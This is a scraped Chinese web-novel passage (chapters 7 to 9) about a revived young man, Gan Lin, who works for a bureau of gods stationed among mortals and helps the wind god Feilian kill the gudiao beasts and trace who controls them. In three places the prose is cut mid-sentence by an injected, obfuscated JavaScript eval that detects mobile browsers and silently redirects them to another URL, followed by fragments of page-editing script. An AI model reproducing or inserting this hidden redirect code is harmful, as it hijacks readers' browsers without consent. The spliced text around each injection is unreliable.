孰湖吓得一口咽下嘴里所有的肉,噎得直打嗝,蓝色的眼珠子像两颗弹在地上的玻璃珠子似的乱颤,一头银白色的头发都快飘起来融进锅气里了,“你、你惹他生气了?” “怎么了?”甘霖不明所以,“我看白天你俩相处的不是挺好的,飞廉虽然冷冷的,但也不像是小肚鸡肠睚眦必报的人。” “你、我,我又没有惹他生气,当然不害怕了。”孰湖左右看了看,伸长脖子压低声音,“飞廉大人动动手指头就能灭了四海八荒,五千年前三界混战的时候,他只是轻轻一挥手,就灭了当时天帝女儿的神格,害得对方堕魔,不死不灭,永世不能超生呢,这可是天下最痛苦的折磨了,而且根本不是一般神仙能做到的。” 想必对这些“凡人外”来说,这的确是很痛苦,甘霖看着孰湖说到最后还抖了抖。 “他不是天帝的战神嘛,居然还灭了自家老板千金的神格?怎么,对方逼婚他要找他上门做驸马?”甘霖想到这几年拍的那些仙侠剧古装剧,这个情节好像总是出现。 “据说是因为对方擅自行动打乱了飞廉大人的作战计划,害死了很多人,惹得飞廉大人大发雷霆,不过也都是传说了,当年参与过那场战争的人本来也没剩下多少,很多都闭关归隐,再也不出世了,我们也只是知道大概,不知道细节。”孰湖说完就警告他,“总之大神的脾气都是很难捉摸的,你好好工作,不要再惹飞廉大人生气了,万一他动怒,说不定连咱们办事处都保不住。” “哦。”甘霖漫不经心地应了一声,眼神微垂又抬起,睫毛如蝶翅舒张,语气随意,“那冥君或许会知道,我和他有过两面之缘,不知道他会不会多告诉我一些关于当年的事情呢。” 孰湖用漏勺认真地捞着锅里的菜,“那肯定不能,冥君承泣大人是大战后才诞生的,比我还小呢,怎么会知道呢。” 也就是说冥君承泣最多只有四千多岁,怪不得飞廉会说他年纪小资历浅了。 “这么年轻?”甘霖貌似惊讶,“幽都是三界之一,冥君作为幽都之帝,居然这么年轻,看来你们神仙用人还挺不拘一格的嘛。” “才不是。”孰湖朝着铜火锅弹了个光团过去,锅膛里的碳火瞬间熄灭,连点热气都没了,他心满意足地擦着嘴巴,“冥君是飞廉大人一手养大的,就跟他儿子一样,这个身份放在三界那是相当尊贵,而且他虽然年纪小但是特别厉害,据说战力堪比飞廉大人,他当冥君,没人不服气。” “这样啊。”甘霖没再说什么了。 原来他误会了飞廉和自己的养子,但这种事情解释一下就好,有必要这么生气吗? 他站起身,“谢谢你叫我吃饭,我刚来这里还不熟悉,多亏你照顾。” 孰湖笑着摆摆手,“应该的哦,我要回家了,你呢?” “你们有员工宿舍吗?” “没啦,停车场有阵法,穿过去就都能会自己的洞府灵山了,不需要宿舍,不过也有很多神仙在市区买了房子,现在人类修的房子很棒啊,方便又舒服……” “那飞廉大人呢?” 孰湖被打断也不在意,想了想,“他每天一下班就没人了,估计也回自己的洞府了吧。” 两人一起出门来到停车场,甘霖看着孰湖走向侧面的一个小角楼,刚靠近就消失不见了。 “啧啧,比科幻片还科幻,真方便啊。”甘霖拿出手机准备查查附近有没有共享单车点,这会儿沙尘暴已经停了,骑车去地铁站比较快一些。 站在大门口,甘霖回头看向欧式小城堡,几乎所有的窗户都亮着,看不出楼层,也不知道哪一扇是外勤科的办公室。 他花了一个多小时才回到自己暂住的一天三十块钱的三无小旅馆,在手机上查了查,盘算着是要现在就在办事处附近租个房子,还是等下月 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15170049|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 工资发了再租个好一点的。 “幸好那个地方够偏僻,房租都很便宜。”甘霖躺在狭窄的硬板床上看着手机上的租房APP自言自语,房间很小,但他好像听到了回声。 甘霖坐起身,房间没有窗户,伸手不见五指,他打着手机的手电筒照了一圈,什么也没有。 “飞廉大笨蛋。” ……飞廉大笨蛋。 果然有回声。 甘霖叹了口气,自从他复生他就没过一天安生日子,在医院那三天,要不是因为他胆子够大,估计会因为看太多灵异东西大喊大叫而被送去精神病院。 神仙驻凡办事处的处长就是最近几年人间比较火的东华帝君,没有影视剧里那么帅,就是个白发银须的老头,大家都叫他东王公,他是甘霖第一个见到的神仙。 东王公给过他一张符纸,不能让他看不见那些奇怪的东西,只能在他周围布下结界,让那些东西近不了他的身,现在又出现了怪异的事,估计是符纸失效了。 他拿出手机打给东王公,结果提示对方不在服务区内。 这下糟糕了。 “你现在沾染了三界灵气,已经算是半个灵体了,对那些妖魔鬼怪来说,比仙丹还能增长修为,所以你千万要小心,有什么不对劲一定要第一时间联系我,再死一次可就不能复生了。” 想起东王公的话,甘霖只好找其他人帮忙,目光最后落在了白泽的微信上,虽然不熟,但现在他唯一能联系上的只有白泽,其他人他都没有联系方式。 甘霖还有些犹豫,耳边已经传出了窸窸窣窣挖墙一样的声音,太近了,近得像是有人在用铁锹铲他的鼓膜,他胆子再大也会害怕,一瞬间毛骨悚然,冷汗唰地爆了一背。 他立马就要打语音过去,结果对方先发了条消息过来,是一串电话号码。 【飞廉大人的手机号,不用感谢我。wink.jpg。】 甘霖一秒都没犹豫就打出了电话,完了,东王公估计是回自己的仙山了所以没信号,要是飞廉也回去了,他岂不是根本联系不上?! “喂。” 听到飞廉熟悉的声音,甘霖整个人差点软倒在床上,“飞廉大人,救命!” 电话没挂,飞廉也没有再出声。 几秒后,一个半透明的光团出现在狭小的房间中央,瞬间暴涨出一阵刺眼的白光,激得甘霖直流泪,只能闭上眼睛。 待他再次睁眼,一身黑衣的飞廉悬在白光中央,发丝飞舞,右耳的坠子泠泠响动,他冷眼垂眸,无波无澜,定定地看着他。 甘霖的呼吸有些急促,不知为何觉得心悸,他不知道飞廉为什么会在这里,只知道自己安全了。 “飞廉大人!谢天谢地你来了,都是我多嘴乱说话,你别生气,我做牛做马做啥都行,你赶紧把我带走吧!” 甘霖扑过去一把抱住了飞廉的腰,把对方往下坠得脚尖都快触到地面了。 飞廉浑身僵硬,手立马搭上他的肩膀,似乎是下意识就要把人推开,但最后只是轻轻拍了拍,把他拎起来,“先离开这儿。” 7.7.爱狐(七)飞廉大人带上我! 只是眨眼的一瞬,甘霖双脚就落在了外勤科办公室的地板上,熟悉的眩晕感袭来,他忍不住捂住嘴巴干呕了一声,“呕!” 飞廉低头看他,“怎么了?” 甘霖腿脚发软地歪倒在一旁的沙发上摆摆手,“你们神仙都是天生的航空苗子,对我这个普通人来说,这种瞬间移动实在让我恶心想吐。” 飞廉看了他一眼,转身坐在自己办公桌前,“习惯就好。” 想到刚才抓着的飞廉冰冷的手掌,甘霖忍不住腹诽,“真是身冷心也冷,就连说出口的话都这么冰冷……” “我已经经历了好几次了,但就是没办法习惯,之前东王公带我瞬移去冥君承泣的办公室,我差点吐在承泣的办公桌上。”甘霖抚着自己的胸口,强力压制着自己的呕吐欲。 飞廉看向窗外,“他有洁癖,你最好别那么做。” 月光很亮,照得他的脸冷漠又沉静,甘霖只能看到他完美的侧脸和轻颤的睫毛,看了一会儿,他道:“抱歉,我今天随意揣测你和承泣的关系。” 飞廉微微回头,“无妨。” 说完他站起身,走到甘霖面前,轻轻挥手,“今晚你就先在办公室住下来,明天再做打算,整个单位都有结界,不会有不干净的东西靠近。” 甘霖身下的沙发已经变成了一张单人床,连枕头被子都有,他从善如流地躺下,拉过被子,“感谢飞廉大人,您真是好上司,年末要是有评选,我一定投你一票。” 飞廉表情有些无语,转身便消失了。 甘霖从小在各处流落,这个经历给他最大的影响就是他从不认床,不管什么情况下他都能立马入睡,虽然这是个陌生的环境,但他觉得很安心,所以很快就睡着了。 他睡着不久,飞廉的身影再次出现,没有上前,反而往后退了两步,靠在离床两米远的自己的书桌上,抱着胳膊,就那样借着月光静静地看着他。 “他能想起来吗?”飞廉的旁边,承泣的身影忽然出现。 “不知道。” “那天东王公带他过来的时候,我看过他的三魂七魄,除了主神格的天魂胎光,剩下的二魂七魄都和凡人无异,尤其是地魂爽灵和命魂幽精,新的和刚出厂的差不多。” 承泣比旁人眼中淡漠冰冷的样子多了点活气,“东王爷带他来的时候说了,他这五千年轮回几百次,没有一次活过二十五岁,每一世都孤苦无依,穷困潦倒,地魂跟着在轮回中清洗了无数次,怎么可能恢复记忆?” 飞廉没说话。 承泣无声叹息,不再劝说,看着甘霖的面庞,“长成这个不似凡人似天仙的样子,放在以前的乱世,怎么会有好命运。” 飞廉转头看了他一眼,“你和他很像。” 甘霖心型小脸,颌角清晰柔和,流畅圆润,睫毛浓密纤长,圆眼微挑像只小猫,瞳如春水秋波,水滴鼻小巧微翘,双唇丰润饱满,是天生的珊瑚粉色,整张脸精致秾丽,偏可爱中性。 但承泣白肤瓷肌,眉眼冷峻,精致英俊,更多的是俊朗清逸的少年感。 “哪里像?”承泣冷漠中透着无语,“我只是他陨落前落在你心口的一滴泪,又不是他生的,怎么会像。” 飞廉抬手揉了他的脑袋一把,敷衍道,“你俩都白。” “和你比,几乎所有神仙都挺白的。”承泣扒了扒自己的头发,比起这个他有更不明白的事,“他和你跟我说过的那个人完全不一样,那天晚上他死的时候,那一片的城隍也来了,是个新上任的,也算是年轻俊朗,他就对着人家发花痴,后来看到我,眼神都直了,很不正经。” 飞廉唇角出现了一个浅淡的弧度,“他本来就是这样的人,从前就这样,那时但凡长得不错的男神仙,哪个见他第一面都要叫他一声登徒子的。” 承泣起身,“这是哪来的花心浪荡子,这么不安分?” 飞廉也站起来,“你不懂。” 那些人说着登徒子,一副唯恐避之不及的模样,可却从不是真的嫌弃,看着这人的眼神永远都是憧憬欣赏,甚至爱慕,他就是有这样的人格魅力,让所有人都喜欢他。 “不想懂。”承泣转身,“我要回去了。” 话音未落,忽然一道惊天巨雷落下,室内有几秒被照得亮如白昼,飞廉和承泣身形一滞,随着暴雨落下,两人身后传来一声惊叫。 “妈呀!鬼……啊!你俩!大半夜一身黑飘在床头,到底是想吓死谁,我要是犯了错请直接派黑白无常来收我,别用这种方式来折磨我好吗?!” 甘霖被雷声惊醒就看到两个人高马大的黑影子,吓得心都差点从嘴里跳出来,这会儿还直突突,也顾不得什么社畜守则了,管他上古风神还是幽都冥君,没有骂出脏字,已经是他最大的理智了。 飞廉看着窗外,“下雨了。” “下雨怎么了?”甘霖起身下床,“冥君大人怎么会在这?” “蛊雕吃人都是在雨天。”飞廉看向承泣。 承泣闭了闭眼,不知在感应什么,“今天不该有雨的。” “你去找四象星君问问,我先过去。”飞廉说着就要走。 甘霖连鞋都顾不上穿,“大人带我一个!” 飞廉头也没回,一把抓住他的手,“走。” 甘霖只是眨了一下眼睛,就已经来到了外面,不知道是不是法术不一样,他没有任何头晕目眩的感觉,只是漂浮在百米高空,低头看着地上黑夜中的点点灯火,不恐高的他也忍不住有些心惊手抖。 “飞廉大人!”不管别的,甘霖一把抱住了飞廉的胳膊,“你可千万别松手啊。” 飞廉给甘霖加了悬浮咒,就算松手,甘霖也不会掉下去,但他什么都没说。 甘霖看他没什么特别的反应,又贴近了一点,几乎半个人都攀在了飞廉宽阔结实的背上,“嘿嘿,这样比较保险,免得我掉下去,你还得捞我,给你添乱。” 飞廉睨了一眼他半搂着自己的双手,就低头看着地面,双眼锐利如鹰,眉头微蹙,不放过丝毫蛛丝马迹。 甘霖活了二十三年,从来没见过这么大的雨,真的就像天漏了一样,雨帘如幕,密织如布,能见度极低。 “飞廉大人,现在是冬天,怎么会下雨,而且这个雨……不会打湿衣服啊!”闪现的时候甘霖还在想,要不要拿把伞,这会儿才发现雨落在身上就化作了淡淡雾气,根本没有沾湿衣服分毫,“这就是神力吗,真是厉害啊。” “不对啊,你刚才说蛊雕在雨天出来吃人,可是那五个人被害死的时候都是晴天啊?”甘霖想起飞廉的话,他们在北方的城市,一月份只会下雪,而且冬天干燥,降水本来就少,哪会有雨。 “不是一般的雨。”飞廉刚准备抬手掐诀,结果左手被甘霖抱得死死的,他滞了一下,换成右手,单手掐决,而后手指舒张轻挥像拂去尘土一般。 起风了。 甘霖看到雨幕开始变形,雨丝也开始歪斜,无形的风借雨显形,从他们开始一点点吹进了城市的每个角落。 视野清晰了很多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15176259|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甘霖看到地面上偶有行人,此时还不到午夜十二点,有人活动不奇怪,奇怪的是那些人也没有打伞,就好像根本感受不到雨。 “飞廉大人,你刚才说着不是一般的雨是什么意思?”甘霖问,“下雨不是龙王管的吗,你让冥君去找的四象星君是谁啊?” “雨泽乃自然气象,各地龙王只司江海湖泽云气水雾的调理之职,四象星君下辖二十八宿星君也有司风主雨的,但这种风雨对凡人无碍无益,是针对天界幽都,灵府宝地的风雨。”飞廉简单解释了一番。 甘霖觉得很晦涩,但意外地听懂了,“就是那些故事里所谓的天地之精华,日月之灵气对吧,被神仙妖怪收集起来可以制作仙丹神器的,对他们修炼也有助益的?” “嗯。”飞廉打了个响指,风向又变了,而且风力更大了,“蛊雕只在这种雨天出来行动,因为这种雨会增强他的力量。” 甘霖看着下面有个人被风吹得头发乱飞,走路都艰难,“怎么你的风不一样?” 飞廉看了他一眼,没回答,“找到了。” “找到什么……啊!!”甘霖话都没说完,飞廉拖着他就在天上开始疾飞,速度极快,他觉得这会儿要是有人抬头能看到他们,一定觉得像是流星划过了天空。 速度实在太快,甘霖觉得呼吸都有些困难,他埋首在飞廉的肩膀上,尽力忍耐,约莫半分钟后,终于停了下来,他还没抬眼去看,就先闻到了一股浓重的血腥味。 甘霖直觉现场一定会十分惨不忍睹,但他还是抬眼去看。 当他看清眼前的一幕时,还是没忍住收紧了手指,紧紧抓住了飞廉身上黑色的衬衫。 环境像是在一处偏僻的公园,周围都是树,这次的受害者不止一个,地上横七竖八地躺着四五个人,每个人都几乎浸透在血泊中,他们身边围着好几只甘霖在白泽那里看到过的,那种叫做蛊雕的妖兽。 完全超出了他想象中飞禽的样子,也比监控视频上看到的犬状黑影要大得多,挤挤挨挨地围成一圈,每一只都有一米多高,羽毛被雨淋风吹得蓬乱,黑色的螺旋状尖角闪着寒光。 他们用黑漆漆的眼睛死死盯着忽然出现的两个不速之客,尖而长的鸟喙上还在淋漓滴血。 “大人,这里只有五只。”甘霖凑在飞廉耳边轻轻说,他记得白泽的那个牛头人下属说过,失踪的是十只蛊雕。 他的气息喷薄在飞廉的耳廓上,飞廉有些难耐地偏了偏头,拍了一下他的手,“下来。” 甘霖这才发现自己还死死地扒在飞廉的身上,“抱歉抱歉。” 他脚尖刚点在地上,那五只蛊雕忽然仰头张开喙,开始大叫。 那声音就好像一群婴儿在鬼哭狼嚎,在漆黑的雨夜凄惨又诡异,让人不寒而栗,甘霖又爬上了飞廉的背,“飞廉大人,害怕。” 飞廉叹了口气,抓着他的手把他拽下来,伸手在虚空处拿出一件像古代大氅一般的深蓝色袍子,盖在飞廉的头上,“在一边等着。” 这件袍子带着白色的毛边,袖边领口还有充满异域风情的刺绣,和甘霖死的那天在梦中看到的一模一样。 被兜头罩住的瞬间,蛊雕的叫声就轻不可闻了,冬日的寒风苦雨也瞬间远离,一阵微弱的暖意包裹了他的身体,他甚至还觉得这个气息有些熟悉。 “唉,因为是他害死我所以才会入我的梦吧,真是冤家。” 甘霖裹紧袍子矮身蹲在一棵树下,看着前面站立如青松般伟岸笔直,正和蛊雕对峙的飞廉喃喃自语道。 8.8.爱狐(八)飞廉大人威武! 甘霖对孰湖口中飞廉那“弹指灭八荒”的厉害程度完全没有实感。 也看过一些仙侠剧,但所谓三界最高战力的战神打架也是多少得挂点彩的,不过就是挂彩多少与鲜艳与否的区别罢了。 毕竟是人高的妖兽,借着今夜的灵雨增强了妖力不说,还吸了好几个人的血,也不知道有多大的增益,甘霖评估了一下这五只蛊雕,“留点鼻血差不多了吧。” 他低头看了看自己赤裸的已经冻得发紫的脚,犹豫了一下最终还是放弃用飞廉的袍子来裹脚,“希望飞廉大人能在五分钟内结束战斗,不然我非得冻截肢不可。” 甘霖看着飞廉掐了个决,一阵白光罩在了地上那几个受害者身体上,最终张开了一个半圆形的结界。 蛊雕发现了异样,停止嚎叫,开始用尖锐的喙不停地啄那个结界,半透明的结界上随着他们的动作漾开一圈圈能量流动的波纹,但却没有被破坏分毫。 狂躁的蛊雕又开始大叫起来。 “速战速决吧。”甘霖搓着冷如石块的脚丫子。 刚说完,就看到飞廉抬手在空中干脆利落地横劈了一下,风刃好似滑开了无形的时空,就连空气都被一分为二了一样,那五只蛊雕的身体从中间齐刷刷地被斩断了! 鲜血喷出,化作漫天血舞,甘霖的视线都泛红了,但他和飞廉的周围却没有溅到一滴血,形成了一个真空一样的圆圈。 甘霖扒下包在头上的衣服,“飞廉大人,你这就把他们都杀了?” 飞廉回头,“不然?” “还有五只没有找到呢,你把他们都杀了,剩下的五只怎么找到?” 飞廉看了眼天空,“蛊雕是很团结的妖兽,这样那五只一定会过来,况且就算杀了所有的蛊雕也没有意义。” “为什么?” “今夜不该有雨,蛊雕没有那么大能耐,能够降下这样的雨。”飞廉对着他弹了下手指。 甘霖低头看了看脚上突然出现的鞋,起身就要跑过去,“飞廉大人,年度最佳上司!呃……” 他没有洁癖,但这一地的血,他真的是不想沾染分毫,所以他站在原地挥了挥手,“加油!飞廉大人,你就是最叼……最厉害的!” 承泣默默无声地出现在飞廉身边,冷冷地瞥了甘霖一眼,“你带他过来意义是?” “热个气氛。”飞廉道,“查的怎么样?” “你没猜错,四象白虎神君手下,天市星君壁水貐已经失踪月逾,到现在都没找到。”承泣道。 飞廉:“白虎司冬,冬季少雨,座下只有壁水貐一个能下灵雨的,在这个时候雨水灵力最足,这人倒是会挑。” “现在怎么办?”承泣有些嫌弃地看了眼一地的血污,还是选择悬在空中,生怕沾到一点。 “这还有几个人有救,我用结界吊着,你去幽都处理一下,若阳寿未尽的,就放回来,剩下的交给我,凶手还控制着五只蛊雕,但这几只一死,那五只蛊雕一定会挣脱控制冲来,凶手准备不及,说不定会露出破绽。”飞廉说完,眼神一抬,“来了。” 果然,伴随着惨厉如婴儿啼哭般的叫声和羽翅划破空气的风声,五个巨大的黑影就像炮弹似的直冲他们而来。 几乎是须臾便到了眼前,速度太快,压迫感太强,甘霖虽然在心里告诉自己不用害怕,有飞廉和承泣两尊大神在,但还是被威压逼得难以呼吸。 飞廉随意抬手做抓捏状,五只蛊雕就被看不见的风网瞬间切割成了七零八落的几大块。 漫天红雾又出现了一次,这次就连甘霖这件神奇的大氅都无法完全隔绝血腥味了,甘霖默默抓住袖子盖住了自己的半张脸。 飞廉看了一圈,抬手一抓,就从不远处半只蛊雕的身体上抓来了一条老旧的锁链,“缚妖索。” “果然是挣脱控制跑来的。”承泣看了眼,“不过这种缚妖索三界没有上万也有成千条,没什么特殊,查不到什么的。” 飞廉将锁链收起来,“你走吧,把这些蛊雕带走。” 承泣早就不想在这儿呆着了,他有洁癖,见不得这样的场景,冰冷精致的脸上出现了一道裂痕,但还是忍着嫌恶抬手祭出一个乾坤袋,把所有蛊雕的尸体吸纳进去,招呼都没打就消失了。 甘霖听到了隐隐约约的警笛声,也不知道飞廉是什么时候报的警,他站起身,“接下来做什么?” 飞廉看了眼他踟蹰的脚步,掐了个净化决,地上的蛊雕喷溅出的血便消失了。 “飞廉大人真是讲究人。”甘霖这才跑到他身边,看了看周围,“虽然变得好像和普通的公园一模一样了,不过也还是飘着淡淡的黑红色雾气啊,原来受害者伤口处的那种红黑色痕迹是蛊雕留下的啊,什么东西,灵力残留?” 飞廉转头,深深地看着他。 甘霖被看的莫名其妙,“怎、怎么了?”他又说错什么话了吗? “你能看到的范围有多大?”飞廉问。 甘霖看了一圈,“直径五十米以内?真的很淡很淡,就跟薄薄一层雾似的,而且天色这么黑,照理说应该看不见的,但就是能看到……这也是阴阳眼的副作用?” 飞廉没有回答他,轻轻闭上眼睛,右手掌心向上,左手食指中指竖起指枪,薄唇微动,默念有词。 那些原本稀薄的红黑色雾气就这样慢慢旋转着聚拢了起来,越来越浓重,颜色也越来越深,最后就像是一个红黑色的龙卷风,而风眼就在飞廉的掌心。 甘霖在斜后方不错眼的看着,飞廉半长的头发在风中狂乱的飞舞,原本半扎着小揪揪的发绳也被风刃隔断,头发整个散开了,右耳的耳坠不断跳动,泠泠清音让人内心莫名的平静,犹如梵音贯耳一般。 随着飞廉最后一个音落下,黑红色的雾气骤然收缩,在他掌心聚集成了一个网球大小,黑中隐隐透着红色的球。 “这是灵力残余,但不是蛊雕的。”飞廉道。 “那是谁的。” 飞廉抬头看了眼灵雨不知何时已经停了的天空,“我们现在正要去查。” 警车和救护车同时赶到,林安一脸严肃地看着医护人员把六个受害者抬上了救护车,烦躁地叼了一根烟,“两个已经确认死亡,剩下四个还有口气在,按你说的已经提前让血库准备了。” 飞廉:“血库是什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15185525|164859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林安愣了一下,“你不是说受害者全都失血过多让我做好救急的准备吗!” “飞廉大人,血库就是现在凡人储存血液的地方,就是为了以防万一专门用来救治失血过多的人的。”甘霖赶紧站出来解释,“抱歉,林队长,我们科长对人类社会的很多机构还不是很熟悉。” 林安和神仙驻凡办事处打了三年交道,虽然知道这些人都不是一般人,但还是第一次对他们不是凡人这件事这么有实感。 “外勤科不就是专门处理人类社会发生的事情吗,你好歹是科长,该知道的还是要知道的吧,不然和你说话总有种费力又火大的感觉。”林安重重吸了口烟,语气嫌弃,“上次还说什么让我告诉受害者家属这件事是妖怪做的,就跟故意挑衅似的。” 飞廉蹙眉。 甘霖看了他刚才动动手指头就灭了十只大妖兽的模样,终于知道孰湖为什么会因为自己惹他生气而紧张了。 虽然可能性不大,但甘霖还是怕他发作,一把抓住他的手,笑着对林安道,“林队长,你不知道,我们科长是有史以来最厉害的外勤科科长,这样的案子放在以前,没两三个月根本处理不了,我们科长刚来,你看,不到十天,搞定了,凶手已经就伏,之后绝不会发生这种事情了,至于外联这种小事,就由不成器的我来负责,您放心,我对人类社会相当了解,绝对不会误事的。” 飞廉垂眸,眼神落在甘霖抓着他的手上,修长的手指轻轻蜷起,没有说话。 林安看这次受害者的人数大概也猜到这是凶手的最后一击了,听他这么说也就放心了,他吐着烟圈看着远去的救护车,“没现场,没人证,没目击报告,没凶器,只有不能对外公布的监控视频,案子是结束了,对我们来说,怎么向受害者家属解释才是最头疼的。” 甘霖点了点头,“我们这边也一样。”虽然蛊雕没了,受害者不会再增加,但没有找到幕后主使,对外勤科来说这个案子就没有结束,如果不尽快,幕后主使说不定会有新的动作。 虽然所有的蛊雕都已经被办事处各个分部的员工监管起来了,但他听孰湖说过,吸血吃人的妖兽不止蛊雕一种,只要对方有心,总能找到可利用的。 “我们先走了。”飞廉道,没等林安反应,拉着甘霖就地消失了。 甘霖睁眼就回到了办事处小城堡里,站在了一间黑色门的办公室外面,上面挂着牌子“上下连通事务科”。 “这是什么地方?大半夜的,里面的人不下班吗?” 飞廉推门,“幽都在办事处的驻点,都是夜间办公的。” 甘霖跟着进去,入目非常眼熟,办公室极大,实木办公桌,黑色真皮沙发,水晶茶几,充满了浓浓的都市偶像剧霸总风,和承泣的办公室不能说一模一样,只能说大差不差。 飞廉:“这是承泣的趣味。” “看出来了。” 办公桌后站起一个人,“飞廉大人,好久不见。” 飞廉颔首,没有寒暄,单刀直入,“葵璇,查查迦楼罗在哪。” 迦楼罗? 这个名字甘霖也很耳熟,是那个如来的娘舅,大鹏金乌吗? 9.9.爱狐(九)欢迎来到幽都胜景 甘霖当然不可能去问迦楼罗是不是如来的娘舅,毕竟他现在已经知道文学创作和传说之类的与实际情况还是很有差异的了。 他默默打量这个叫葵璇的不知是神仙还是妖怪的人。 对方个子不高,一米七左右,深蓝色的头发和眼睛,面容白软,五官清秀,眼角略垂,眉毛疏淡柔和,一脸和气微笑,说话的声音也很文雅,就是感觉身体不太好的样子,脸色有些苍白,双唇也浅淡无色。 “飞廉大人稍等,我这就联系幽都,让他们去问。”葵璇说完重新坐在电脑前,手指快速地在键盘上敲击了几下,然后站了起来,“估计要十几分钟,大人先坐,待我为您奉茶。” 飞廉应了一声,用眼神示意甘霖和他一起坐在了黑色的皮沙发上。 甘霖摸着沙发,表情欣慰中带着点怅然。 “怎么了?”飞廉问。 “我在幽都刚睁眼的时候就躺在承泣办公室的沙发上,和这个沙发一模一样,那时候我还以为是剧组拍摄或者什么诈骗团伙呢。”甘霖说道,“明明才过去了七八天,感觉却好像很久远了,主要是这几天对我来说太漫长了。” 飞廉静静地听着,没有接话。 “那是我第一次见承泣,后面我复生,在医院住了三天,发现自己的眼睛不对劲,联系了东王公,他又带我去了一次幽都,我又见了他一次,两次他都在玩手机,每次玩得游戏还都不一样,根本就是个高冷面瘫的网瘾少年嘛,谁能相信他居然是冥君呢。”这些事甘霖没和别人说过,这个时候看着熟悉的沙发,不知不觉就对着飞廉絮絮叨叨了起来。 葵璇端着茶过来,笑道,“冥君大人就是这样,喜欢玩手机,对人类开发的游戏尤其着迷,还因为幽都网络不好专门拨经费改进过网络。” 飞廉解释,“葵璇以前是承泣的近侍。” 原来如此,葵璇是幽都的冥官,所以才会担任上下联通事务科的联络员啊,甘霖这么想着,起身伸手,“你好,我是外勤科新来的干事,飞廉大人的助理,甘霖。” 葵璇和他握手,“我知道你,身死三天还能复生的,这几百年,你是幽都头一个。” 甘霖对葵璇的第一印象很好,对方不像他接触过的其他冥官,平易近人,笑容开朗温柔,让人心生好感。 “也是沾飞廉大人的光,要是普通的意外,肯定死就死了。”这话说出来好像有些不对,但甘霖也不知道该怎么说,毕竟东王公亲口说过,这是神仙的失误,就得由神仙负责。 飞廉轻咳一声问葵璇,“好了吗?” 正好电脑响了,葵璇立马去查看,“迦楼罗大人现在正好在幽都,我们已经和他说了您会前去的事情,他正等着,我这就把坐标发您。” “走吧。”飞廉起身。 甘霖赶紧跟了上去,还以为他们会像他之前两次去幽都一样直接瞬间移动,他都已经做好了干呕的准备了,结果飞廉带他进了电梯,按下了操控面板上“-2”的按键下方,上面只有一个点的键。 “这是?” “可以直达幽都,不过需要灵力催动,而且有权限,不是谁都能去的。” 怪不得他之前试着偷按过一次,什么反应都没有。 “我们干嘛不直接过去?”甘霖问,那样不是比较快,都熬夜工作了,居然还不抓紧时间。 飞廉看了他一眼,“穿越的结界越多,能量跨度越大,速度越快,对肉.身的要求越高。” 甘霖一想,难怪之前他和东王公直接从人间来回穿幽都,后面又被飞廉带着从出租小屋直接穿到了办公室,都头晕恶心了,只有刚才穿出办公室直飞上空没什么反应。 飞廉虽然没说,但他知道,飞廉是体谅他所以才选择乘坐电梯的。 “飞廉大人真是年度最好的上司!”甘霖再次祭出彩虹屁,悄摸地贴近了飞廉一些,等飞廉看他的时候,他又一脸讨好的解释,“幽都啊,那不就是地狱吗,我害怕。” 他们是从六楼上来的,但一分多钟了还没有到,甘霖猜测或许是因为从人间到幽都需要穿过更多结界,能量跨度也很大,所以才会这么慢。 干站着多少有点尴尬,不如了解了解工作,甘霖问道,“我们为什么要去找迦楼罗?他是什么人,也是幽都的冥官吗?” “不是,他是神仙驻凡办事处神禽管理科的副科长,办事处有很多机构和部门,不是全都在总部的。”甘霖虽然说的很了解,“我也只是上岗前做了基本的了解,还是第一次去。” “为什么要提前确认他的位置,怕他下班吗?” “不,神禽管理科有些特殊,是根据不同时期监管的神禽来流动的,不过因为大部分的神禽异鸟不能上天界,迦楼罗又不能来人间,所以绝大部分的时间都只能待在幽都。” “迦楼罗为什么不能来人间?” “迦楼罗是以龙为食的,所以和龙族有世仇,龙族在办事处有驻点,而且是散居人间最多的妖族,百年前办事处通过了迦楼罗提出的肉龙饲养计划,为了平息龙族的反对意见,要求迦楼罗不能出现在人间。” 甘霖大为震惊,“就……只是为了吃?” 飞廉“嗯”了一声。 “不过龙都是神兽吧,能变人能说话,饲养起来作为食材,难道不会有伦理上的问题?”甘霖工作了一天,发现自己最接受不能的事居然是神仙的餐饮问题。 “只是从龙蛋中孵化的无灵智,带有稀薄灵力的龙罢了,和蛇差不多,除了龙族,其他人基本上都吃的。”飞廉解释。 甘霖点点头,明白了,“就和孰湖告诉我的异兽生态养殖园里养出来专门为了吃的异兽一样,对吧?” 飞廉双手抱在胸前,垂眸用余光看了他一眼,“你和孰湖相处得不错。” 